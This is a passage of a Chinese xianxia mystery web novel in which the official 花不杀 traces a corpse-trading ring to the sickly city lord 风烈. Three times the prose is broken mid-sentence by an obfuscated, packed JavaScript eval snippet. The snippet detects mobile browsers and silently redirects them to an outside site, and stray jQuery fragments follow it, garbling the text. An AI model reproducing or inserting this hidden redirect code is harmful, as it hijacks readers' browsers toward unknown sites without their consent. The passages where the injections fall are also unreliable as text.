赵青向花不杀拱手一礼,道:“回禀大人,下官陈情有二。其一是关于此案发生的起因。下官从买家口中查到他们买尸体是为了炼丹药长修为,这种修炼方法最早是从天仙楼里传出来的。案发当日我亲自去了一趟天仙楼,却发现人去楼空,姑娘们都下落不明。但我知道她们走不远,寻常仙民不会飞,我一早让我的朋友们把三座城围了起来,找到她们只是时间问题。” “其二是关于被害人身份。下官查明我城中被害之人皆为男性,且大多数是无人管的鳏夫。近日我城中衙门只接到几起报案,大多数被害人还是我派人摸查出来的,想来幕后之人不想事情闹大,这证明他势力有限,不是什么大人物。” “赵城主这话倒让我想起一件事!”巡衙令突然接话道:“一年前鬼界的鬼阴将军不是私开鬼门,致使万鬼出逃么?那阵子仙妖两界到处闹鬼,死了不少人,围剿了好久才把他们肃清。你们说,这案子有没有可能是某只遗漏的鬼闹的?” 巡衙令像发现了什么不得了的事情,惊喜地看着他们。他突然站起来拍掌道:“大家说有没有一种可能,作案者是一只道行不高的鬼?正是因为这样他才畏手畏脚,不敢闹太大,所以他才要和季端阳合作,一个杀人,一个运尸!” 巡衙令惊讶地发现自己的推理竟然逻辑自洽了,他喜出望外地看着花不杀,被自己聪明的脑瓜震惊了。 花不杀略一思索,看着他摇摇头:“那你有没有想过,一只鬼要那么多钱干什么?一具尸体可是要一颗金豆子的。死物没有世俗欲望,他的钱花哪儿去?” “啊这,他或许贪财?或者是……他上辈子是穷死的?” 巡衙令绞尽脑汁也想不出来,一只鬼能有什么花钱的地方。连他自己都动摇了,乖乖闭上了嘴。 花不杀看着赵青道:“依你所言,杀人者或许还在三城之中?” 赵青道:“我围城已有半月,这几日仍有人被杀,凶手定在城中。我的那些朋友都是西域有名的高手,常人是逃不出去的,就算我低估了他的实力,他逃出去也不可能悄无声息,总得留下些什么。大人再给我一些时间,我定能把他揪出来!” 花不杀点点头:“以你所见,凶手可能是何身份?” 赵青道:“寻常仙民力量微薄自然不可能,那就只有我们几位城主和辅城官员,以及某些个不知名的匿迹修士有实力做这样的案子。这些天我正逐一排查,相信很快会有眉目。” 赵青的猜想与她不谋而合,花不杀笑道:“赵城主先见之明,帮了我的大忙了。” 赵青恭敬地行一礼:“大人哪里话,下官应该的。” 花不杀注意到云默面前的盘子空了,他手里拿着两块糕,嘴巴还在卖力地嚼,看来真饿急了。 “云默城主,糕点好吃么?我叫人再给你备一盘?” 云默被她一喊,吓得嘴里的糕都喷了出去,他立刻向花不杀行一礼,赔礼道:“大、大人恕罪,糕点不用添了,我吃饱了。”云默紧张得脸颊通红,手里的糕都掉到了地上。 花不杀声音柔和了些:“云默城主,我知道你这几日辛苦了,不用紧张,和我说说你的发现。” 云默尴尬地笑了笑,声音弱弱的:“回禀大人,我没、没什么发现。这几日我只忙着加强城里的防备还有核查死者了,和案情有关的发现暂、暂时还没有。” 花不杀向他一笑,没有责怪,“我听说大西关城外有个青牙山溶洞,你可带人去过?我听暗人说,被害人的尸体就藏在溶洞里,里面有条夜市街,专门用来做尸体交易,你可知道?” “啊?这样子?我没去过,我不知道啊。”云默吓出一头冷汗,惊慌看着花不杀:“我不知道什么溶洞啊,辅城们也没告诉我啊,大人这么问,是觉得凶手在我大西关城吗?” 云默脸色吓得苍白,手也开始发抖:“大人,我真的不知道啊,近日我连城外都没去过,更没空去青牙山啊。大人,您相信我,我和凶手没有关系,我不是在包庇他,我真的什么都不知道啊!” 云默快急哭了,花不杀赶忙安抚道:“你别急,我只是问问,我自有分寸,不会随便怀疑你,你放心。” 云默松了口气,眼眶突然间变得晶莹了:“谢谢大人,谢谢大人相信我!” 说话间,屋外刮来一阵过堂风,风烈衣衫简陋,被吹得一哆嗦,突然咳得更厉害。 巡衙令看他脸色不大好,像没骨头的人一样窝在椅子里,他整颗心都提到了嗓子眼。 “你、你坚持住啊风烈城主,你别昏过去,我叫人来把你送到厢房,你坚持一下!来人呐,来人呐!大夫、丫鬟,快来救命啊!” 巡衙令一边喊,一边脱下自己的衣裳披在风烈肩上。他咳得越来越用力,身体抖动的幅度越来越大,嘴角边竟慢慢有血迹流出来。 “哎呦,老天爷啊,您别吓我!”巡衙令赶忙用袖子擦去他的血迹,他整个人都吓得满头大汗了。 赵青和云默也纷纷把自己的外衣解下来,包裹住风烈的脑袋和双手,不让一丝风溜进去。 这时候仙医和侍女赶了过来,几个人搭手把风烈抱起来。他们围成一堵人墙,替他挡着风,抱着他飞速往厢房赶。 他们把风烈放在厢房的床上,封上门窗。这时候风烈咳得更急更用力了,罩在脸上的衣裳都被血晕开了一大片。仙医赶紧替他把脉,写好药方让人抓药。 丫鬟们匆匆把药煎了来,喂他喝下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626591|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药汤。热汤暖着身子,风烈渐渐才不咳得费力,缓过来一口气。 巡衙令让丫鬟和医仙留在屋里,时时查看他的状况。他亲自关好房门,仔细检查了一遍门窗,不让一丝风透进去。 做完这些,巡衙令累得浑身都被汗湿透了。他一屁股坐在门口,整个人呆呆地缓了半天。 花不杀让云默和赵青先回城中,继续调查。同时她叫来差吏,吩咐下去盯紧牢中的暗人少年。 她算算时间,前去捉拿季端阳的差吏还要一会儿回来,她先回到巡衙令为她准备的厢房中,守着魔少年。 她来时少年还在昏睡,他像个半大孩子睡得乖巧,双手叠在胸前,规规矩矩。 花不杀这时才注意到他的面容,他的模样其实与仙族并无什么不同,只是五官更冶艳几分,有种天然的蛊惑力。 魔族不属于三界之物,他是异世界遗落在仙界的流民。自他第一次现身后,便引起仙界重视,仙君命天镜司将其镇压于此。他便被关押在岩浆狱中一月有余,这是他第一次获得自由。 少年似乎做了噩梦,突然皱着眉,额头冒出一层汗。他的表情有些痛苦,不知梦见了什么,脑袋左右摇晃着,似乎在害怕。 花不杀坐在床沿,轻轻擦去他的汗珠,她用手拍了拍他的手背,安抚情绪。 少年突然间抓住她的食指,两只手攥得紧紧的。似乎突然有了安全感,他的情绪渐渐稳定下来,眉头也舒展开来。 花不杀趁此机会,指尖凝聚出一股灵力,穿透他的肌肤,注入其身体。灵力化成千万条灵索,在他经脉间奔走,一瞬间将他的体内环境探查得一清二楚。 花不杀在他体内感受到一股古老浑厚的力量,这股力量让她有种熟悉的感觉。她的意识到达他心脏的位置,奇怪的是,这里空缺了一块,他原是个不全之身。 她用灵力刺破他们相连的皮肤,血液通过伤口进入对方体内,却如同在自己体内一样通行无阻,没有遇到灵力的阻碍。如她预想的那样,他们的血液一脉相通。 花不杀接受了这个结果,并不意外。 少年抓了一会儿她的食指,也许是噩梦结束了,他慢慢松开她的手,睡容恢复宁静。 花不杀守了他一会儿,起身往屋外走去,出门时遇见巡衙令着急忙慌地跑过来。 他苦着脸向她禀告:“大人呐,完蛋了大人!夜场主早我们一步杀了季端阳,暗人少年也暴毙在牢中了!我们好不容易找到的线索断了呀,夜场主好可恨!” 巡衙令动情地抹着泪,气得两道眉毛像剑一样倒竖起来。 花不杀面无神色地点了点头:“知道了,他们是何时死的?” 巡衙令丧气地回:“差吏赶到灵剑山庄时,季端阳已体爆倒在了床上,他们检查了尸体,发现还温热着,是前脚刚死的。差吏们发现季端阳死于绝命蛊发作,夜场主竟也给他下了蛊!灵剑山庄到巡衙司半个时辰路程,算上赶路的时间,他死是半个时辰前的事了。 暗人少年是前半刻死的,狱卒来报时我去牢里看了一眼,啧啧啧,他的尸体炸得捡都捡不起来,比季端阳还惨,吓死个人了。 他们两个虽是一前一后蛊发身亡的,但都死在一个时辰之内,好奇怪啊。” 花不杀听完巡衙令的话,淡淡一笑:“知道了。” 她心中最不可思议预想竟成了真,她离真相近了一大步。 6. 风烈 “啊?就‘知道了’?大人,您是、是疯了吗?” 巡衙令被她冷静的表现弄得不知所措,看她一点不着急的样子,他急得像热锅上的蚂蚁:“大人呐,那可是证人啊,我们好不容易找到的证人!夜场主一杀杀两个,这不摆明了和您作对啊?大人不应该愤怒,赶紧派人追捕夜场主吗?” 花不杀无奈地看他一眼,想拿块布堵住他的嘴,她道:“我有分寸,你别管。风烈怎么样了?可以问话了么?” “啊?”巡衙令被她的话弄得一头雾水,反应了一会儿:“哦,您说风烈啊,他现在缓过来一些,不怎么咳了,医官说暂时无大碍。” “带我去见他。” 花不杀在前面走,巡衙令在后面追。他们走进风烈房中,巡衙令搬了张椅子让她坐在床前。 “风烈城主,听说你是特意来见我的?可是有什么要向我禀告的?” 花不杀看了一眼倚在床头的风烈,他此时的脸色好看了一些,虽还轻轻咳嗽着,但不咳血了。 风烈抱歉地行了一礼,道:“大人恕罪,下官风疾发作,耽误大人的时间了。我此次前来是想告诉大人,我知道这件案子的主使——夜场背后的夜场主是谁。” “哦?”花不杀微眯起眼睛,眼神中多了几分打量。她看着他说:“这就是你拖着病躯见我的理由?说来听听,此人是谁?” 风烈后背向前倾斜,离她更近一些,声音压得很低:“大人若信得过我,今夜纠集差吏去后西关城的玉山观音庙一趟,今夜会去观音庙和人交易的就是夜场主,也就是此案的幕后凶手。” 花不杀身体前倾,也离他更近一点,她嘴角微勾,笑着问:“你是如何知道的?” 风烈被她的目光看得有些不自在,避开视线答:“我虽卧病在床,但也心系城民,发生了这样的事,我岂能置身事外?近日我命辅城们暗中调查,他们查到近来常有一个黑衣蒙面的男子上玉山,辅城跟踪过去,发现他在观音庙中与人交易着什么。黑衣人总是揣着一袋金豆子去,那东西要价不菲。” “我就说这凶手怎么会贪财贪到这份上,要靠卖尸体敛财!”巡衙令被他启发,豁然开朗道:“杀人犯法,冒那么大风险,和刀尖上舔血有什么区别?原来他这钱是要用来买东西的,还不止一次。要我看他肯定是个穷蛋,被逼得没路豁出去了。只是不知他买的是什么东西?” 风烈摇摇头:“东西不知,我只知道和他交易的是几只小鬼。” “真的是鬼?”巡衙令惊讶道:“鬼要钱做什么?” 风烈道:“小鬼背后定是有人指使。” 花不杀不知笑着什么,听他说完脸上笑意更浓。她突然起身走到床头,掖着被角将风烈的身子盖严实,而后手伸向他的胸口,将衣领掖紧。 她垂眸看着被她阴影笼罩的风烈,轻声说:“外头风大,风烈城主注意身体。” 风烈被她看得脸红心慌,对方莫名的笑意让他不知所措,匆忙把脸转向一旁。 花不杀却又突然握着他的一只手,轻抚着手背。察觉他皮肤冰凉,她柔声叮嘱道:“这几日夜冷,风烈城主注意保暖,瞧你这手比冰窖子还冻人了。” “谢大人关心。”风烈面粉如花,视线闪避,手几乎是弹射一般抽了出去,藏在身后。他娇柔道:“男女授受不亲,大人和我这样……是不是不大好?” 花不杀弯腰,脸颊凑近几寸,低笑道:“如何不好?我不是吃人的老虎,你慌张什么?风烈城主羞得厉害。” “大人这样……如何能不羞?大人莫要取笑我。” 花不杀不退反进,与他的脸一拳距离。她作势伸手,要去抚摸他的脸颊,风烈逃也似的挪到了床角里,避免和她肌肤相触。 “大人……这样不好……” 风烈掀起被子盖住自己全身,头发丝也不漏出来,恨不得把身子挤进墙里去。 “好了,不闹你了,你该休息了。小男儿不经逗。” 花不杀煞兴起身,往屋外走去。 巡衙令张着嘴巴,看呆了,半天没动。他怀疑自己看错了,这哪像是一个大人对下属该做的事?她又是盖被子又是握手的,是在干什么?她还想摸他的脸?他竟看不出花不杀有这喜好,喜欢调戏小美男? 花不杀走到门口,不见人跟来,回头看着巡衙令道:“傻了?过来,我有事吩咐你。” 巡衙令小脸不知怎的一红,这几步路走得慢极了。他出门关上房门,背着手站在花不杀身旁,保持一段距离。 花不杀没在意他的反应,往前走,边和他说:“你带着人去玉山观音庙,今夜若真有人去交易,一举拿下,带回巡衙司。” “好、好……”巡衙令怯生生答应,“大人,那您呢?不一起去么?” 花不杀皱眉:“你管好多,我自有去处。” …… 青牙山上浓烟滚滚,一场山火从山脚下蔓延,半个时辰便烧毁了整座山头的密林。烈火向着地下溶洞中去,从入口处的夜市街一直燃烧至四通八达的山洞里。 火焰聚拢在溶洞口周围,燃起十几丈高。坚硬的岩石表面被烧得通红,一道道裂隙布满了洞口。 忽然间巨石滚落,裂隙崩塌。溶洞像被巨大的手掌按着一样,从上面整个塌陷下去。山洞遍布青牙山地下,于是乎整座青牙山几乎一息间夷为平地。 山脚下一个少年注视着这一幕,脸上露出诡异的笑脸。他张狂的大笑着,呐喊着:“烧啊,都烧了!一点东西都不留下,什么都没了,没了!哈哈哈哈!” 少年沉浸在兴奋中,没注意到身后突然出现的身影。那人一掌朝他后背击去,少年遭受重创,吐出一大口血。 血迹中一只指头大小的白虫蠕动着,随着它离开身体,少年像是突然惊醒了过来,双眼这才聚焦。 云默看了一眼青牙山的废墟,不敢相信这场火是他放的。他毁了夜市街,也毁了溶洞里所有的尸体。 “云默城主。” 云默听见花不杀的声音,惊慌回头看着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626592|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他双腿一下子发软,“扑通”跪到了地上。 “大人,我、我不是故意的,我不知道为什么会这样,我不是有意毁了溶洞的!” 云默声泪俱下,他被自己做的事吓到了。他稀里糊涂毁了夜场主的夜市和藏尸洞,这是在帮他销毁证据啊。花不杀好不容易掌握的线索被他毁了,她一掌劈死自己都是轻的。 “大人,我说的都是真的,我没有撒谎!我不知道我怎么会在这里的,我明明回到府里就没有出门了。我也不知道我怎么会放火烧了青牙山的,我真的不是帮凶啊,我没有杀人,大人您相信我!” 云默膝行着跪到花不杀脚下,他害怕地扯着她的袖子,眼泪汪汪看着她。 花不杀拽着手臂把他提了起来,她没有责怪,温声道:“我不怪你,你做得很好,你是在帮我。” “啊?大人这话什么意思?”云默一听她不生自己的气,立马止住了哭声。 花不杀微笑着递给他一条巾帕,让他擦干眼泪,“夜场主做贼心虚,你被他控制实则是帮我缩小了怀疑范围,我现在知道你不是夜场主。你瞧,他给你种下了行尸蛊。” 云默顺着她指的方向看见地上的白虫,它蠕动着吸食血液,吞一口胖一圈,看得他头皮发麻。 “咦惹,好可怕啊,他什么时候给我种的?可是我都没见过他啊?” “我们都见过他。他在你不知道的时候下了蛊,记得那盘糕点么?” “大人的意思是……”云默瞪大了眼睛:“凶手在巡衙司里出现过?!” 花不杀微一点头:“在你之前到巡衙司的是谁?” 云默吓得不敢讲话:“啊……不会吧,大人怀疑的是他?可是他怎么可能啊……” …… 夜半,玉山观音庙。 寒风凛冽,观音庙外的山林被风刮动,簌簌作响。天空没有星月,夜比往常更黑些,四下一片浓墨。 观音庙中,微弱的烛火摇曳,依稀照亮偌大的空间。袅袅香烟拂动,无头观音像端坐供案之上,残破金身外表斑驳,却没积一处灰。 一个人影站在观音像下,低头看着地面的什么。他手中握的剑滴落着血,鲜血溅了他满身满脸。 他脚边躺着十几具女尸,无一不是形貌昳丽、年华正好的年轻姑娘。她们躺在地上,脖子上一道几寸深的伤口鲜血如注,在地上泅成一滩血洼。 男子弯下腰,用剑挑开她们的伤口检查着什么。 正在这时,巡衙令带着差吏匆匆赶来,他们看见那浑身是血的男子,以及一地尸体。巡衙令兴奋地命令差吏把观音庙里外围了起来,他冲里面吼道:“久违了,夜场主,束手就擒吧!” 听见声音,男子回头看着巡衙令,脸上露出讶异的表情。 巡衙令看清他的脸,也突然吓了一大跳,险些一个趔趄摔到地上去。 他使劲揉了揉眼睛,不可置信地瞪大双眼:“怎么会是你?我的老天爷,真没想到,夜场主竟然是你啊!你藏得够深啊!” 7. 观音庙 “赵青,真没想到你是个人面兽心的东西!你这个夜场主瞒得我好苦!” 巡衙令气得剑眉倒竖,没想到找了这么久的凶手就在自己眼皮子底下,是自己最不会怀疑的人。可地上的尸体就是血淋淋的证据啊,他亲眼看见他用剑挑开她们的喉咙。 他冷笑一声说:“也对啊,天仙楼在你的小西关城,消息不是你放出去的又是谁?灵剑山庄也在小西关城外,你要和季端阳联手简直不要太方便了! 真没想到啊,你个心狠手辣的家伙,先是杀了季端阳和暗人,现在又杀了天仙楼的姑娘,证人都让你杀光了!要不是我亲自抓到了你,我是万万不敢信的。赵青狗贼,受死伏诛吧!” 巡衙令手臂一挥,差吏们鱼贯而入,把赵青围在中间,十几柄冷剑指着他。 赵青脸色阴沉,神情并非恼羞成怒,而是对他的言辞感到意外。忽然间他意识到了什么,面露紧迫。 既然走不出去,他也握紧佩剑,斜斜点地,“衙令大人,事情紧迫,恕我没时间和你浪费。你若拦我,我只能硬闯出去。” “看啊看啊,狗贼你果然露出凶相了吧!”巡衙令手里举着剑,对准他的眉心:“今天若是让你逃出去,我还做什么巡衙令,切给狗吃算了!你想逃可以啊,不过出门的只能是尸体!” 巡衙令振臂一挥,一道清冷剑光直射出去,在他胸前一炸。赵青以剑横档,仍被震退半步。 眼见着巡衙令高跃而起,长剑似斧钺直奔他头顶而去,同时身旁的十几名差吏齐齐出剑,剑剑冲他命门而去,他已身陷极危之地。 赵青狠了狠心,这种情况下若要冲出包围,必要全力应战,便顾不得什么脸面尊卑了。他提剑应战巡衙令,在他的剑落下时,他也同时猛劈出一剑。 双剑在空中短暂地交汇,只听得“铛”的一声巨响,眼前华光乱绽,剑气横飞。 赵青凭借着稍高的剑术力压巡衙令,趁他掣肘之时一脚踢中他的胸口。巡衙令“咻”地一下飞出去,在墙上砸出个洞,一时半刻起不来。 赵青转身面对差吏们,相比之下对付他们要比对付巡衙令简单一些。他一剑击出强势的剑气,将他们震退开来,趁他们未站稳时逐个击破。最终差吏们纷纷倒在他的拳脚下,“哎呦”叫成一片。 赵青临走时看了巡衙令一眼,对他道:“巡衙司见。” 巡衙令被他言语挑衅到,胖脸颊气得抖了几下。他爬起来,指着门口骂:“娘的,你还敢提巡衙司?你敢来看我不打断你的腿!嘶,我的屁股蛋蛋……” 巡衙令倒吸一口凉气,揉着自己开花的屁股。他正没处发泄,转头看见被打趴下的差吏们,上去一人一脚,踢得他们麻利地站了起来。 “瞧瞧你们,人跑了还在哎哟哎哟,你们是哎呦生的啊,叫娘呢你们?还不快去追,追不到赵青都别回巡衙司了!” 差吏们苦着脸拿剑出门了,可玉山之大,哪里还找得到他半点影子?差吏们只好分头行动,连夜翻山。 巡衙令蹲在地上,检查了一下姑娘们的伤口,发现她们都是死于喉管破裂,脖子上的伤口深得都到了颈椎骨了,赵青这是下了死手啊。 “长得人模人样,不干半点人事,姑娘吃你的米啦?杀得这么狠!” 巡衙令呸他一声,抱起姑娘的身体搬到了门外。他把她们放在门口的大树下,用剑在地上挖出一个深坑,再把她们一个个放进去,整理好姿势,简单擦擦她们脸上的血污,让她们体面入土。 他哼哧哼哧卖力地往坑里填土,这时候一个人影突然落在对面的坑岸上,悄无声息,吓去了他半条命。 “哎呦我的老天爷诶!”巡衙令拍拍胸膛,看见来人的脸,顿时没了脾气:“我的大人诶,您这来无影去无踪的,是要吓死我啊!” 花不杀看了一眼坑里的尸体,再看看巡衙令,“你做了什么亏心事不禁吓?人是你杀的?” “大人这话可不能乱说啊,回头她们阴魂不散要来找我的!”巡衙令赶紧双手合十,向她们拜了拜。 “把她们挖出来。” “啊?我刚埋进去……” “我要验尸,搬到庙里来。” 花不杀吩咐完,走进观音庙里。她大致看了看庙里的环境,视线定格在那尊无头观音像上。 上山的山道上长满了一人高的杂草,显然这座庙被废弃许久了,但奇怪的是庙里的陈设却不杂乱。观音像虽金皮脱落,有些破旧,但却一尘不染,连供桌都干净整洁,上面放着新添置还没烧多久的香烛。 花不杀绕到观音像的背后,在这里她看见了那颗掉落的观音脑袋。只是铜鎏金的脑袋被人砍得模样不辨,几乎碎成了几块,随意丢弃在角落,与身体的整洁形成强烈反差。 佛头旁边的地上有一个刀刻的图腾,外圈藤蔓一般的曲线中藏着几个神秘的字符。花不杀识图无数,大致猜测到这是某个阵法。看刻痕,图腾被刻下的时间并不太久,左右不过一个月。 花不杀问巡衙令:“这座庙是什么时候废弃的?” 巡衙令正搬着尸体,听见她问话,气喘吁吁地靠在门上:“回、回大人,这座庙废弃有三年了吧。它是附近百里唯一的观音庙,以前它的香火可旺了呢,信佛之人都会来拜拜,我曾经也来过。” “既然香火旺,为什么废弃?”花不杀从后面走了出来。 巡衙令擦擦汗,道:“这事要怪风烈干得不地道,三年前他砍了观音脑袋,说是要‘破旧俗’。他说求神拜佛是从人界带来的破习惯,他们现在是仙,用不着拜那些不存在的神佛,没用,于是他就当众砍了观音脑袋,从那时候起这座庙就再也没人来过了。” “其实说起来世界之大,谁知道有没有神佛呢?不敬神佛,冥冥之中自有恶果,风烈砍了佛像之后他就病了,一病就是三年,如今也要油尽灯枯了。他砍脑袋的时候人家都说他得罪了观音菩萨,他没几年活头了,没想到竟真的应验了。” 巡衙令叹口气,继续卖力地搬尸体。过了一会儿,他总算把她们重新搬进了观音庙,累得躺地上不动弹了,只有胖肚子忽高忽低地喘着气。 花不杀查看了一下姑娘们的伤口,这时候注意到其中一位姑娘的胸口处有东西在衣裳下 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巡衙令一头雾水。花不杀心中却豁然开朗,她知道夜场主要做什么。 “找到赵青,回巡衙司等我。” 花不杀丢下两句话,突然走到观音像后面。她朝图腾中注入一股灵力,如她所料,图腾的纹路闪烁着光芒,图腾上出现了一个空间入口。这是一个传送阵。 花不杀跳入空间入口,身影一瞬间消失。她脚下接触到实地时,她已来到一个昏天暗地的幽冥世界。 她脚下踩着的是鬼界的彼岸花海,面前流淌着著名的忘川河。河的两岸是一望无际的白骨山,空气中传来呜呜低鸣,不绝于耳。 夜空中飘着一些磷火,成为这里的“星星”,是这个世界唯一的亮光。花不杀借着微光看见忘川河上飘着一艘小船,靠在岸边,似乎在等待着什么。 她知道真相就在眼前了,夜场主的秘密就藏在船上。 此时小船里,两只小鬼面对面坐着,神情疲惫,等得有些不耐烦。 一只小鬼无聊地掰着手指数了又数,愤愤道:“说好子时一刻交易,今天等了这么久,怎么还不来?不守时做什么生意啊?真服了!” 另一只小鬼朝河面啐了一口唾沫,应和道:“谁说不是,鬼都守时,他一个仙不守时,猪狗都不如!真服了这帮仙了,大人也是,和仙做什么生意?我只想和他打一架,打得他叫爹!” 船头忽的往下沉了些,一个人影落在船头,向里面走来。 两只小鬼转头一看,忍不住翻了个白眼。一只小鬼骂道:“披你娘的斗篷啊?见不得人啊怎么地?你今天太不守时了,慢了一刻钟,整整一刻钟诶!你知道时间对我们多宝贵吗?!” 花不杀坐在船一侧,笑着摘下头上的帽兜,她打量一眼小鬼们,和声说:“鬼哥哥别急,让我看看你们要卖什么东西给我。” “怎么不是他?你是谁?怎么这么好看啊?” “对啊,你是哪个美丽的小姑娘啊?” 小鬼们看呆了眼,在她笑容的感染下悄悄红了脸。 8. 夜场主 花不杀温柔一笑:“鬼哥哥不必管我是谁,只需告诉我你们卖的是什么药。”她看了两鬼一眼,“你们谁来说?” 两鬼面面相觑,被她先入为主的姿态弄得愣了愣。一只鬼皱着眉头,有些不悦:“喂,你这个美丽的小姑娘,我怎么听你这话是在命令我们呐?我怎么就那么不服气呢?凭啥告诉你啊?” “你不说你是谁,我们凭什么和你说实话?”另一只鬼双手叉腰,瞪着花不杀:“瞧你两手空空,也不像带了钱的样子,既然不是来做生意的,就快点下船,别耽误我们等客人!” “鬼哥哥有话好说,莫生气。” 花不杀起身,坐在他们身边,肩膀挨着一只小鬼。那只鬼仿佛被电了一下,吓得往旁边一弹,撅着屁股和她之间留出两个巴掌的间隔。 “你、你干什么!”小鬼面红耳赤。 “哥哥躲我做什么,我又不会吃了你。我只是想知道你们卖的什么药,你怎知道我没有带钱,不是诚心实意来的?” 花不杀抖了抖袖子,一阵金玉碰撞的声音传出来。 小鬼放松了警惕,却还是有点怀疑:“是他叫你来的?今天他怎么不亲自来了?你是他什么人?我们怎么知道你不是骗子?” “哥哥觉得我像骗子么?”花不杀朝他身边坐近。 两只小鬼哪见过这般主动的美人,一时都羞得手忙脚乱,两个屁股逃也似的向船尾挪动。 花不杀也向船尾挪了一步。 “喂,你到底要做什么啊?你再过来就没地儿了,就掉下去了!你有话说话,干嘛非要挨着我们!” 最边上的小鬼害怕掉入河中,冲她喊道:“行了行了,怕了你了,反正我们就是个送货的,谁给钱货给谁,一手交钱一手交货。先说好,出手了概不退货啊!” “成交。”花不杀从袖兜里掏出一个钱袋子,递到小鬼手中。小鬼从怀中取出来一个小瓷瓶,里面放着一颗红色丹药。 花不杀打开瓷瓶验了验货,先观色泽再闻气味,立刻分辨出丹药的成分。 她转头看着小鬼们,脸上挂着莫名的笑容。小鬼被她目光看得心虚,不自觉视线闪躲。一只小鬼道:“你、你笑什么?药给你了,我们是不会退钱的!” 花不杀道:“你慌什么,就因为卖了我假·药?” 小鬼脸色严肃起来,义正辞严道:“怎么就假药了?我们只卖这种药,是你自己要的,怎么,反悔了啊?做生意一个愿打一个愿挨,没有事后退钱的道理,你别赖上我们!” “就是就是!”另一只小鬼帮腔道:“我们收摊了,概不退换,你快下船!我们还赶着回去呢!” 花不杀起身往船头走,作势拢了拢斗篷,“实不相瞒,我给你的也是假·钱。” “什么!”小鬼立刻掏出钱袋子来看,里面的金玉突然变成了石头和树枝。 “你阴我?”小鬼冲到她身边,一只手扯住她的斗篷。 花不杀这时突然转过身,一只手·雷电之势般扼制住他的咽喉。 “告诉我,你们要钱做什么?是谁指使你们卖药的?” 小鬼被她掐得面色通红,奋力挣扎,然而徒劳。另一只小鬼被她突然冷冽的目光吓退,不敢上前,只敢站在原地质问:“你、你问那么多干什么?你到底是来买药的,还是来问问题的?我们要钱做什么关你什么事啊?你问得太多了吧?快滚下船!” “不说也罢,我自有办法让你们开口。” 花不杀看着面前的小鬼,视线相接时她清澈的双眸忽而间闪过一丝紫芒。这一瞬间,小鬼的双眼被紫芒俘获,被她操控神智,停止了挣扎。 小鬼将她想知道的一切都说了出来:“我给你的丹药是假的,不是伐经洗髓的神丹,只是由鬼血炼成的血丹。它不能帮助服用者修改仙骨,服用后短暂的灵力充盈也是假象,想要利用血丹更改宿命、延长元寿是痴心妄想。 我们卖药不为赚钱,大人不贪财,我们只是完成他交代的任务而已。交易完成后我们就会把钱丢入河中,腐蚀成水。 大人总是蒙着面,没人见过他长什么模样,我只知道他是一只修为颇高的鬼。他以性命要挟,我们两个才为他办事。” 小鬼说完恢复了清醒,他不可思议地看着花不杀,不敢相信自己把所有事情都抖了出来。 花不杀松开他的脖子,用力推了一掌,两只小鬼撞到船侧的木板后摔在了一起。他们惊慌地抱成一团,害怕地看着花不杀。 花不杀面容冷峻,警告道:“回去告诉你们大人,敢把手伸到仙界,他是活得不耐烦了。别让我知道他是谁,否则翻了鬼界也要把他绳之以法。” “你放心、你放心!我们一定转达给大人,再也不敢了!”小鬼们磕头求饶。 花不杀转身面向船头,正要下船,突然瞥见岸上一道黑袍裹身的人影。那身影瘦瘦高高,只出现了一瞬,再看时已无踪迹。 花不杀心中突然有了不好的预感,飞出传送阵,果然看见巡衙令被人打晕。她叫醒巡衙令,赶忙飞回巡衙司。 花不杀破门而入,直冲风烈床边走去。风烈被动静吓醒,支起个身子倚在床头,讶异问:“大人怎么了?何事如此着急?可是抓到夜场主了?” 花不杀冷笑一声,低头看看他的鞋:“夜场主好细的心,匆忙赶回来还记得擦去鞋头的泥。” 风烈被她的话吓了一跳,正欲辩解,巡衙令先一步道:“大人在说什么?谁是夜场主?您说他是夜场主?” 巡衙令指着风烈,瞪大了眼睛。他万万不敢将病入膏肓的他和杀人如麻的夜场主联系起来,这个结果太难以置信了。 花不杀笑而不语,伸手抓住他的鞋,提了起来。 风烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实仔细想想,不难知道季端阳为什么和你合作。你和他都是一类人,你们都爱惜自己的生命胜过一切。 季端阳一个下品仙活了一千二百岁,他凭什么破了大限,多活了二百年?只能是因为他以杀人苟命。这些年消失在小西关城外的人都成了他续命的药,他培养的弟子也是他的药罢了。只是在他杀弟子前,你找上了门,他们才成为你的暗人,替你赶尸。” 花不杀饶有趣味看着他。 风烈丝毫没有紧张或是心虚,坦然笑了声:“大人仅凭自己的猜测就断定我与季端阳有私交?且不说我这三年待在后西关城,一直没离开过,单凭我这身体,能成什么事? 即便我与他都爱惜生命,可这又算什么疑点呢?普天之下人人都惜命,按大人的说法,岂不是人人都有杀人动机,都是夜场主了?” 风烈坐近一点,轻飘飘问:“你有什么凭证?” 花不杀也凑近一些,两双眼睛对视着,她笑道:“好一个巧舌如簧之人,你要凭证?我多得是。不过,在我举证之前我先问你,你真的病了么?” 9. 凶手 风烈视线有一瞬的闪躲,但也只是微不可查的一刹那。随即他轻松一笑,坦然道:“当然。我发病大人是见过的,吐的血岂能有假?” 